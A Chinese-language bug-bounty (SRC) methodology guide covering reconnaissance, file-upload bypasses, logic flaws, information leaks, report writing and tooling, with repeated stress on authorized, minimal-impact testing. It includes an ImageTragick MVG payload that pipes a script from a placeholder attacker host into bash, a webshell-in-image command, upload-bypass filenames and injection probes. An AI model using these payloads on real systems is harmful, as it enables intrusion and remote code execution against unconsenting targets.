
1. 项目概述从“挖洞”到“狩猎”的思维转变SRC也就是安全应急响应中心这几年在安全圈里已经从一个“神秘组织”变成了很多安全从业者甚至是初学者的“练兵场”。我干了十多年安全从早期自己瞎琢磨找网站漏洞到后来参与各大厂商的SRC项目最大的感触就是SRC漏洞挖掘它早就不是简单的“找个注入点”或者“传个木马”了。它更像是一场有规则、有目标、有策略的“狩猎”。你面对的不是一个孤立的站点而是一个庞大、复杂、且防御体系日益完善的数字生态。新手入门往往卡在第一步面对一个像腾讯、阿里这样体量的SRC感觉无从下手像老虎吃天而有些老手则可能陷入“扫遍全网子域名然后挨个丢工具”的体力活循环效率低下成就感也低。这篇文章我想抛开那些华而不实的理论就聊聊我这几年在各大SRC平台无论是企业自建的还是像补天、教育SRC这类第三方平台实战中沉淀下来的一套“狩猎”方法论。核心不是教你用哪个工具而是帮你建立一套从信息搜集到漏洞验证再到报告撰写的完整思维链条。你会发现真正的“挖洞”80%的功夫在思考和信息处理20%才是工具的使用。我们会围绕“头像上传漏洞挖掘”、“信息泄露”、“逻辑漏洞”这些常见但常新的切入点结合最新的绕过技巧和实战案例把每一步为什么这么做、可能会遇到什么坑、怎么提高命中率掰开揉碎了讲清楚。无论你是零基础想入门的新手还是有一定基础但想提升“狩猎”效率的老兵相信都能从中找到可以直接“抄作业”的实战思路。2. 狩猎前的“战场”侦察深度信息搜集与目标画像很多人在SRC挖掘时第一步就错了。他们拿到一个目标比如*.example.com第一反应就是打开扫描器把域名丢进去开始狂扫端口和目录。这就像猎人进了森林闭着眼睛开枪纯靠运气。高效的挖掘始于精准的“战场”侦察目的是为目标绘制一幅详尽的“数字画像”。2.1 资产边界梳理不止是子域名子域名枚举是基础但远不止于此。你需要构建一个立体的资产视图。主域名与子域名使用像subfinder,amass,oneforall这样的工具进行被动和主动收集。但关键在关联。例如通过证书透明度日志CT Logs不仅能发现a.example.com还可能发现a-internal.example.com或关联公司example-inc.com的资产。这里有个心得不要只收集要分类。我会按功能或业务线分类比如api.*,admin.*,mobile.*,internal.*,test.*,dev.*。internal、test、dev这类环境往往是安全防护的薄弱环节但需注意测试边界避免违规。IP与C段通过DNS解析记录获取IP后进行C段甚至B段扫描。目的是发现那些可能没有绑定域名但属于目标公司的服务器如老旧后台系统、临时测试服务器。使用masscan进行快速端口扫描再用nmap进行深度服务和版本识别。注意大规模、高并发的C段扫描极易触发目标或IDC的防火墙封禁。我的策略是“慢就是快”使用低速率、随机延迟并优先扫描从其他渠道如ASN号归属确认高概率属于目标的IP段。Web应用与API接口这是主战场。除了常规的目录扫描dirsearch,ffuf要特别关注JS文件现代前端应用大量逻辑藏在JS里。用LinkFinder、JSFinder这类工具从JS中提取新的接口API endpoint、子域名和敏感路径。常能挖到未文档化的内部API。源代码仓库偶尔能在公开的Github、GitLab上通过搜索公司名、邮箱后缀发现泄露的源码。源码中可能包含数据库配置、内部密钥、隐藏接口是“黄金情报”。移动应用下载目标的App反编译Android APK或砸壳iOS IPA分析其网络请求能找到供移动端专用的API域名和接口这些接口的安全设计可能独立于Web端。2.2 技术栈指纹识别寻找已知的“裂缝”识别目标使用的技术框架、中间件、组件版本是为了寻找与之相关的已知漏洞或特定攻击面。Web框架如 Spring Boot, Django, Flask, ThinkPHP。不同框架有其默认路径、错误信息特征和典型漏洞如ThinkPHP的历史RCE。Wappalyzer、WhatWeb 是基础但手动查看HTTP响应头、Cookie名称、静态资源路径如/static/react/暗示前端框架更准确。中间件与服务器Nginx, Apache, Tomcat, IIS。版本号可能通过HTTP头或错误页面泄露。老版本的中间件可能存在解析漏洞如IIS 6.0解析漏洞、Nginx %00截断。第三方组件与库前端库jQuery, Vue, React、UI框架、图表库等。通过检查引入的JS/CSS文件路径和版本。有些第三方库存在XSS或供应链漏洞。特别关注点.git目录泄露如果扫描到可能通过git-dumper工具下载整个源代码仓库。.DS_Store文件泄露在Mac系统部署的网站上可能存在会泄露目录结构。备份文件如.bak,.swp,.tar.gz,.zip等可能包含源代码或配置文件。实操心得信息搜集不是一蹴而就的而是一个持续的过程。我会专门用一个笔记软件如Notion或OneNote为每个重要目标建立档案持续更新其资产列表、技术栈、关键人员从领英等渠道获取用于社会工程学或密码爆破等信息。这个档案就是你的“狩猎地图”。3. 核心攻击面分析与漏洞挖掘实战有了清晰的“地图”接下来就是选择攻击路径。SRC中高价值的漏洞往往集中在业务逻辑、权限体系和新颖的绕过手法上。3.1 文件上传漏洞的“现代狩猎术”“头像上传”是经典漏洞但现在的防御早已不是简单的前端校验或后缀黑名单。我们需要一套组合拳。前端绕过是小儿科抓包改包Burp Suite/Charles是基本操作。重点在于服务端的校验逻辑。后缀名绕过黑名单绕过尝试.phtml,.phps,.php5,.php7,.pht(如果服务器配置了特定解析)。在Windows环境下利用文件名解析特性如shell.php.末尾点、shell.php末尾空格、shell.php::$DATA。大小写、双写Shell.PhP,shell.pphphp如果过滤php并替换为空。特殊后缀.jspx,.jspf(JSP相关).ashx,.asmx(ASP.NET)。内容类型Content-Type绕过将Content-Type改为image/jpeg,image/png。但如今稍好的系统都会检测文件内容。文件内容魔术头绕过与二次渲染这是当前攻防的重点。图片马制作在图片末尾追加Web Shell代码或利用工具将代码写入图片的EXIF等元数据区。命令copy /b normal.jpg shell.php webshell.jpg。对抗图像二次渲染很多系统尤其是头像上传会对图片进行压缩、裁剪、重新采样以节省空间或标准化尺寸这会破坏植入的代码。应对方法研究目标使用的图像处理库如GD、ImageMagick。对于GD库尝试制作能抵抗其压缩算法的图片马有时在特定尺寸和颜色深度下追加的代码得以保留。对于ImageMagick历史上存在著名的“ImageTragick”命令注入漏洞通过构造特殊格式的图片如.mvg。即使没有RCE也可能通过构造畸形图片导致服务器处理崩溃DoS。利用解析差异上传一个包含多部分内容的文件或者利用服务器/中间件/云存储如AWS S3在解析文件时的特性差异。路径与文件名控制目录穿越在文件名中注入../尝试将文件上传到Web可访问的其他目录甚至覆盖现有文件。文件名注入如果文件名被用于后续命令或数据库查询可能造成注入。例如文件名包含单引号。结合其他漏洞条件竞争在上传和删除/移动文件的时间窗口内快速访问上传的文件。常用于“上传后检查不安全则删除”的逻辑。客户端校验绕过不仅限于JS有些App可能将校验逻辑放在客户端通过逆向修改App逻辑或直接伪造请求包。案例实操我曾遇到一个头像上传点后端使用ImageMagick的convert命令进行格式转换和缩放。我上传了一个.jpg文件但文件内容实则是以下文本push graphic-context viewbox 0 0 640 480 fill url(https://my-evil-server.com/;curl${IFS}attacker.com/shell.sh|bash;) pop graphic-context服务器将其识别为.mvg(Magick Vector Graphics) 文件并执行了convert其中的fill指令触发了命令注入成功获取了Shell。这就是典型的技术栈深度利用。3.2 业务逻辑漏洞挖掘站在产品经理和用户的角度思考逻辑漏洞是SRC的“富矿”自动化工具难以发现全靠人脑。核心是理解业务流程并寻找其中的状态、权限、顺序、数据一致性假设的缺陷。权限绕过垂直/水平越权水平越权用户A能操作用户B的数据。最常见于通过修改ID参数如/api/order/123改为/api/order/124访问他人信息。关键在于系统是否在每次请求时都验证“当前登录用户是否有权访问目标ID”。垂直越权普通用户能执行管理员功能。检查是否有隐藏的管理接口通过前面JS分析或目录扫描发现或者普通用户的操作能否通过参数污染、特殊请求方式如PUT、PATCH触发高权限逻辑。案例一个“修改邮箱”功能请求包中有user_id参数。将其改为其他用户的ID如果成功修改即水平越权。如果该功能本应只有管理员在后台可用但普通用户前端界面有隐藏入口或API未做路由权限控制即垂直越权。业务流程缺陷订单金额篡改在提交订单的最后一步抓包修改total_price,discount等字段为负数或极小值。系统是否在后台重新计算校验无限兑换/抽奖领取优惠券、积分兑换、抽奖等环节重复提交请求可能需绕过前端防重放或者并发请求条件竞争看是否被多次处理。跳过步骤多步骤流程如实名认证提交信息-活体检测-审核尝试直接访问最终步骤的URL或调用最终提交的API。状态机绕过比如“团购”业务参团后状态为“待成团”尝试通过接口将订单状态直接改为“已成团”或“已发货”。输入校验与输出处理逻辑密码重置逻辑最常见的“重置他人密码”。流程通常是输入手机号/邮箱-获取验证码-输入验证码和新密码。漏洞点可能在1) 验证码与账号绑定阶段未校验用自己手机号收验证码但在最终提交请求时将手机号参数改为目标手机号。2) 验证码位数少、可爆破。3) 验证码未失效可重复使用。短信/邮箱轰炸发现发送验证码的接口无频率限制或无有效的图形验证码/Token验证导致可无限调用骚扰用户。注意事项挖掘逻辑漏洞时务必在测试账户或授权范围内进行。切勿使用真实用户数据或进行可能影响生产环境的操作如大量发送短信。你的目标是证明漏洞存在而非造成实际损害。3.3 信息泄露与配置错误被忽视的“低垂果实”这类漏洞挖掘起来技术难度相对较低但需要细心且同样能获得高额积分或奖金。敏感文件与目录泄露除了前面提到的.git,.DS_Store还有/.env框架环境配置文件常含数据库密码、API密钥。/.idea/,/.vscode/IDE项目文件可能包含内部路径、服务器信息。/WEB-INF/web.xmlJava Web应用配置文件可能泄露类路径和内部结构。/phpinfo.php,/test.php,/info.php泄露大量服务器配置、路径、加载的模块信息。备份文件通过常见备份文件名字典进行扫描。错误信息泄露将参数改为异常值如超长字符串、特殊字符观察返回的错误信息。详细的错误信息可能泄露数据库结构SQL错误、服务器路径、代码片段、使用的框架/库版本。SQL错误尝试在参数后加单引号。模板注入错误尝试{{7*7}},${7*7},% 7*7 %等。NoSQL注入错误尝试 || 11或JSON格式的畸形输入。接口信息泄露API文档泄露如/swagger-ui.html,/api-docs,/doc.html可能暴露所有接口及其参数甚至提供测试功能。CORS配置错误如果Access-Control-Allow-Origin设置为*或包含不可信的来源可能导致用户数据被恶意网站窃取。JSONP劫持查找返回JSON数据且支持callback参数的接口如果未对请求来源做严格校验可能泄露数据。云存储桶与第三方服务配置错误AWS S3/阿里云OSS桶公开可读/写通过工具扫描或猜测桶名常与公司名、项目名相关如果配置为公开访问可能直接列出、下载甚至上传文件。Elasticsearch/Kibana/MongoDB等数据库服务公网暴露且无认证直接通过浏览器或客户端连接可读取甚至修改全部数据。4. 漏洞验证与报告撰写从“发现”到“认可”挖到疑似漏洞只是第一步如何严谨地验证并清晰地表达决定了漏洞能否被快速确认和定级。4.1 漏洞验证的严谨性可复现确保你的操作步骤在任何时候短时间内都能稳定复现漏洞。避免使用可能过期的一次性Token或依赖瞬时状态。证明影响RCE/文件上传不仅要上传文件还要证明能执行命令如执行whoami,id或访问Web Shell。注意在证明时使用无害的命令如echo test123或ping自己的服务器看是否有回显切勿执行rm -rf /或wget恶意负载等破坏性操作。SQL注入使用时间盲注sleep(5)或带外注入OOB如load_file读取/etc/passwd需有权限或利用select into outfile写入Web目录一个简单文本文件来证明。避免使用union select直接拖库除非必要且目标数据非敏感。信息泄露截图展示泄露的敏感信息如配置文件中的密码、数据库中的用户数据。对敏感信息如真实密码、手机号进行打码处理。逻辑漏洞通过对比两个不同权限或不同用户账户的操作结果用截图或视频清晰展示越权行为。对于支付漏洞可以创建一个0.01元的订单证明而不是尝试1元买iPhone。环境确认确认漏洞所在的环境是生产环境、测试环境还是预发布环境。SRC通常只接收生产环境的漏洞。通过域名、IP、页面内容、数据新鲜度来判断。4.2 高质量漏洞报告撰写指南一份清晰的报告能极大提升审核效率。通常SRC平台都有模板但核心要素如下标题简明扼要。格式通常为[漏洞类型] 在 [受影响功能/页面] 导致 [具体影响]。例如“水平越权漏洞在用户订单查询接口导致可查看他人订单信息”。漏洞等级根据平台标准自评如高危、中危、低危。不确定时可先选较高等级由审核人员调整。漏洞详情目标URL完整的漏洞触发地址。请求数据包提供完整的HTTP请求Raw格式包括Cookie、Token等。这是审核人员复现的关键。使用Burp Suite的Copy as curl command或Copy to file功能很方便。响应数据包展示存在漏洞的关键响应部分。复现步骤分点列出像教程一样清晰。例如使用账号A登录系统。访问https://target.com/api/user/orders?order_id1001这是A的订单。使用Burp Suite拦截请求将order_id参数修改为1002已知是用户B的订单ID。转发请求观察响应中成功返回了用户B的订单详细信息。漏洞证明截图或短视频GIF。图中需包含能证明漏洞的关键信息如修改的参数、返回的他人数据、浏览器的地址栏显示URL以及Burp Suite等工具界面以增加可信度。对于逻辑漏洞前后对比图非常有效。修复建议给出具体、可操作的修复方案。这体现了你的专业性。不要只说“加强校验”。差“建议修复这个越权漏洞。”好“建议在服务端订单查询接口中增加权限验证逻辑。在根据order_id查询数据库前先校验当前登录用户的ID是否与该订单的owner_user_id字段匹配。伪代码if (current_user_id ! order.owner_id) { return error(无权访问); }。”其他信息如使用的浏览器版本、测试账号、测试时间等。实操心得提交报告前自己先按报告中的步骤复现一遍确保审核人员能毫无障碍地复现。想象你是第一次看到这个漏洞的人你的描述是否足够清晰数据包是否完整截图是否包含了所有关键信息一份“傻瓜式”的报告最受审核人员欢迎。5. 工具链与工作流搭建提升“狩猎”效率工欲善其事必先利其器。一个高效、自动化的工作流能让你从重复劳动中解放出来专注于思考和分析。5.1 个人武器库推荐侦察与信息搜集subfinder/amass/oneforall: 子域名枚举。httpx/httprobe: 快速探测存活HTTP/HTTPS服务。waybackurls/gau: 从历史存档中获取目标URL。nuclei: 不仅仅是漏洞扫描其模板库也能用于快速识别技术栈如technologies/下的模板。shodan/fofa/zoomeye: 网络空间搜索引擎用于发现IP、端口、服务、历史漏洞。漏洞扫描与模糊测试nuclei(再次强调): 拥有庞大的社区模板库覆盖从信息泄露到RCE的各种漏洞可定制化程度高误报相对较低。ffuf: 速度极快的Web模糊测试工具用于目录爆破、参数Fuzz、虚拟主机发现。sqlmap: SQL注入自动化检测和利用慎用避免对目标造成压力。xsstrike/dalfox: XSS模糊测试与检测工具。代理与抓包Burp Suite Professional: 神器不可或缺。用于手动测试、流量拦截修改、重放、Intruder爆破、Scanner扫描。Charles/Fiddler: 移动端抓包更方便。集成化平台xray: 被动式漏洞扫描器与Burp等代理联动自动扫描经过代理的流量发现漏洞。awvs/appscan: 商业重型扫描器能力全面但可能误报高、动静大。5.2 自动化工作流思路不建议完全依赖全自动扫描。我的工作流是“半自动化”工具做广度人做深度。信息搜集阶段写一个Shell脚本或Python脚本串联subfinder-httpx-waybackurls-nuclei (tech detection)。最终输出一个包含所有存活URL、标题、状态码、技术栈的整理好的报告如HTML或CSV格式。重点目标筛选人工浏览上述报告根据业务敏感度如admin,api,manage、技术栈如存在已知漏洞的框架版本、响应特征如错误信息详细筛选出10-20个“高价值目标”。深度手动测试对高价值目标使用Burp Suite进行手动探索。逐个功能点测试重点关注登录、注册、密码重置、支付、个人中心、文件上传、搜索等关键业务环节。结合前面提到的逻辑漏洞挖掘方法进行思考。漏洞验证与报告对发现的问题在Burp中保存好数据包按标准格式整理截图和步骤撰写报告。环境配置建议在本地虚拟机或VPS上搭建一个稳定的测试环境。安装好常用工具配置好Burp证书设置好浏览器的代理。保持工具和漏洞库如nuclei-templates的更新。6. 常见问题、踩坑实录与进阶思考6.1 新手常犯的错误与避坑指南盲目扫描触发风控使用默认配置的扫描器进行高强度、高并发扫描很快IP就会被封禁。对策调整扫描速率使用代理池优先使用被动信息搜集手段。忽略规则测试越界在未明确授权的情况下对目标的非Web系统如邮件服务器、内部OA、第三方服务或关联公司进行测试。对策仔细阅读SRC的漏洞范围说明只测试规定范围内的资产。如有疑问先咨询平台客服。漏洞证明不充分只提供了“可能存在SQL注入”的模糊描述没有可复现的数据包或截图。对策牢记“可复现、可证明”原则报告务必包含完整HTTP请求/响应。破坏性测试为了证明漏洞执行了删除数据、发送大量垃圾信息等操作。对策始终遵循“最小影响原则”。证明漏洞存在即可切勿扩大影响。用读取代替写入用查看代替修改。重复提交已知漏洞提交了一个该SRC已经公开或广为人知的漏洞。对策提交前在平台上搜索一下相关关键词或者关注该厂商已公开的漏洞报告。法律与道德风险将挖到的漏洞私下出售或公开披露在厂商修复前。对策严格遵守SRC平台的规定和法律法规。漏洞只通过官方渠道报告并遵守保密协议。6.2 遇到瓶颈如何突破当你觉得常规方法都试过了一无所获时可以尝试以下思路代码审计思维即使看不到源码也可以“黑盒审计”。通过错误信息、接口参数名、功能逻辑反向推测后端代码可能怎么写哪里可能存在校验缺失。比如看到一个“批量删除”功能参数是id[]1id[]2就要思考后端是循环处理每个ID还是拼接SQL如果是拼接可能存在注入。关注新业务与边缘系统主站往往防护严密但新上线的活动页面、临时促销系统、合作伙伴接入的第三方页面、给内部员工使用的工具系统可能因为开发周期短、测试不充分而存在漏洞。深入研究特定技术栈如果你发现目标大量使用某一技术如Spring Boot,Fastjson,Shiro就去深入研究该技术的历史漏洞、默认配置、安全最佳实践。你可能会发现由于错误配置如Shiro的默认密钥导致的“一招鲜”漏洞。组合漏洞利用单个漏洞可能危害不大但组合起来就可能产生质变。例如一个信息泄露漏洞如泄露了用户ID列表加上一个水平越权漏洞如通过用户ID查看详情就能批量获取所有用户数据。一个XSS漏洞加上一个CSRF漏洞可能实现更隐蔽的攻击。6.3 关于“AI漏洞挖掘”的思考最近“AI漏洞挖掘”是个热词。我的看法是AI特别是大语言模型和代码分析模型是一个强大的辅助工具但短期内无法替代安全研究员的经验和创造性思维。AI能做什么辅助代码审计快速理解大型代码库的结构定位可能存在危险函数如eval,system的代码段。生成测试用例根据API接口定义生成边界值、异常值的测试参数。解释复杂逻辑帮助你理解一段晦涩的业务代码或加密算法。AI不能做什么目前理解复杂的业务上下文AI很难理解“这个订单状态从‘待支付’跳到‘已发货’为什么是不合理的”。进行创造性的逻辑推理发现那些需要结合多个功能点、多个用户角色才能触发的深层逻辑漏洞。替代人的好奇心与直觉对某个看似无关的报错信息深挖下去可能发现一个大的漏洞链。所以把AI当作你的“超级助手”或“新人培训官”用它来处理重复、繁琐的信息整理和初步筛选而你则专注于需要深度思考和经验判断的环节。人机结合才是未来效率最高的“狩猎”方式。最后SRC漏洞挖掘是一场持久战也是一场与自身惰性和思维定式对抗的战斗。保持学习保持好奇多看看别人的高质量漏洞报告多复盘自己的测试过程你的“狩猎”直觉会越来越准。记住最大的漏洞往往藏在最不起眼的逻辑角落里而发现它除了技术更需要耐心和一双善于发现“不合理”的眼睛。